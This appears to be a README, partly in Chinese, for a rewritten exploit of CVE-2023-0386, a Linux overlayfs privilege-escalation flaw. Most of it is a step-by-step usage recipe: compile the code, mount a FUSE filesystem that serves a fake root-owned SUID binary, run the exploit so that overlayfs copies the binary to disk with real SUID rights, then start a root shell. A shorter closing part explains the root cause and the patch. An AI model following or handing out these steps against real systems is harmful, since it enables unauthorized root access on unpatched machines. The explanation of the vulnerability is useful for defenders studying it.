原始 CVE 源代码由 xkaneiki 编写: https://github.com/xkaneiki/CVE-2023-0386/tree/main
已重写,使漏洞利用可以在 1 个 shell 中运行(原始漏洞利用需要 2 个 shell)。
# Compile
make all
# Create mount point for fuse filesystem
mkdir -p /tmp/fusepwn/lower
# Start fuse (which serves a SUID binary)
./fuse /tmp/fusepwn/lower
# Run exploit (which copies fuse's fake SUID binary onto disk with real SUID privs via overlayfs)
./exp
# Run shell
/tmp/fusepwn/upper/bin
清理
# unmount fuse filesystem
fusermount -u /tmp/fusepwn/lower
# remove all
rm -rf /tmp/fusepwn
# unmount overlayfs (root only. not required)
umount /tmp/fusepwn/merge
findmnt 查看已挂载的文件系统fuse.c 创建一个挂载在 /tmp/fusepwn/lower 的 FUSE 文件系统,并提供一个属于 root 的伪造 SUID 二进制文件。这是一个内存文件系统,因此我们可以伪造权限设置。
exp.c 随后在 /tmp/fusepwn 中创建一个 overlayfs 挂载,并打开伪造的 SUID 二进制文件(/tmp/fusepwn/lower/bin)。打开时,这会触发 overlayfs 执行 copy-up,将伪造的 SUID 二进制文件以真实的 SUID 权限写入磁盘,并设置为 root 所有。
该漏洞存在于 overlayfs 中,因为它盲目信任下层文件系统提供给它的任何文件权限。如果下层文件系统是内核,这没问题(因为没有 root 权限就无法操纵它)。如果下层文件系统可以被用户操纵,这就有问题了,因为我们可以伪造其中存在的文件(例如通过使用 FUSE)。
该补丁会检查文件的 UID/GID 在用户的命名空间中是否有效。如果无效,则 copy-up 会失败。
例如:
proc/self/uid_map 中将 1000(bob 的 UID)映射到 0(root),以 root 身份创建一个新的命名空间